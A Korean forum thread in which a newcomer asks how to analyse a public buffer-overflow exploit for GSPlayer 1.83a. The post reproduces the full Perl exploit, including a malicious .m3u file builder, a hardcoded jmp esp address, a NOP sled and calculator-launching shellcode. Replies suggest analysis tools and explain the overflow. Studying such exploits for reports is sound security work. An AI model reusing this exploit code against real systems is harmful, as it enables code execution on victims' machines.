소스분석에대하여

uahkka의 이미지

안녕하세요 요번에 회사를 다니며 과제를 하나 받게되었는데요
취약점 분석을 해야하기전에 소스분석을 먼저 하고 잇엇습니다.
외국의 GSplayer라고 있는데 1.83a버전 버퍼오버플로우 취약점분석보고서를 수행하고있습니다.
대충 봐서는 쉘코드는 계산기 실행하는것이고


# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability

# Date: 2010/11/04

# Author: moigai

# e-mail: again.liu@gmail.com

# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html

# Version: 1.83a Win32 Release

# Tested on: Windows XP SP3 En (VM)

my $file = "GSPlayer.m3u"; 이파일을 돌렷을때 GSPlayer.m3u생성하게 만드는것같고

my $junk1 = "\x41" x 257; 이부분이 아무거나 헥사값을 집어넣는것...같고...

#jmp esp from kernel32.dll 제가 펄은 처음봐서 여기는 모르겟습니다 뭐 V에 0x7C86467B를 저장하라는???

my $eip = pack('V',0x7C86467B);

my $junk2 = "Ai7Ai8Ai";

my $nop = "\x90" x 30;

#executes calc 이것이 계산기 실행하게 하는ㅎㅎ

my $shell =

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

my $payload = $junk1 . $eip . $junk2 . $nop . $shell; 이 함수들이 뭔가 버퍼오버플로우를 일으키게하는 함수같습니다.이것도 지금 펄에관해 분석중

my $rest = "\x42" x (4064 - length($payload));

$payload = $payload . $rest . ".mp3";

print "\n[+] Creating m3u file\n";

open(FILE, ">$file");

print FILE $payload;

close(FILE);

print "[+] File " . $file . " created\n";

그냥 코드만 달랑 던저주시고 취약점 분석을 한번도 못해봣는데 하라고 주셔서 ㅠㅠㅠ일단 소스분석을 먼저하고 이 플레이어를 실행해서 어떤 오류가 나오는지 보려고 합니다.일단 세세하게 함수부터 이것이 왜어떠케 실행하게 하며 왜 버퍼오버플로우를 발생시키는지 (사실 어떤 버퍼오버플로우인지도 모르고있습니다ㅠㅠ 소스를 분석 못하니..) 분석중입니다.T_T 고수님들 ㅠㅠ 힌트나 조언부탁드립니다.
감사합니당

pinebud의 이미지

냠냠.. 소스가 있으시다면 버퍼 사용 함수에 트레이스 로그를 달아보심이 어떨지요? 아님 리스트 관리 함수나요?

A rose is a rose is a rose..

jos77의 이미지

valgrind , cppcheck 등의 상용/공개 소스 코드 정적 분석 도구를 통해서 분석해보는 방법도 있고요
저희 소프트웨어 공학센터의 코드닥터서비스를 신청하시면 무료로 분석해드리기도 합니다.
(http://www.software.kr/service/serviceApplySubscribe.do?method=serviceApplySubscribe&sv_id=6)
참고하시기 바랍니다

-----
안녕하세요 소프트웨어 공학센터 장원석 책임입니다.
http://www.software.kr

pinebud의 이미지

우왕.. 돈받고 프로젝트 따와서 공짜로 떠넘길수 있는건가요?

A rose is a rose is a rose..

mac040의 이미지

오류 재현이 잘된다면, valgrind, mudflap같은 동적 분석기 돌려서 오류 원인 분석하고

그것과 함께 이름있는 정적 분석기 결과 하나 조합하면 보고서 작성에는 문제 없지 않을까요?

obbaya의 이미지

고전적인 오버플로우 형태군요.

GSPlayer 가 파일이름을 읽을 때 버퍼 사이즈를 체크하지 않아서 발생하는 오버플로우 인 것 같은데요.

파일이름에 nop, eip 및 쉘코드를 넣어서 파일이름을 담는 버퍼를 오버플로우 시킨 후

파일을 읽는 함수가 리턴할 때 해당 쉘코드로 점프해서 계산기를 띄우는 방식 같습니다.

전형적인 형태인데 이해가 안되신다는 것은 버퍼오버플로우에 대한 이해가 있으신 지 의문스럽군요.

소스분석이 아니라 버퍼오버플로우가 어떻게 이루어지는 만 찾아보시면 문제해결이 될 것 같습니다.

obbaya의 이미지

.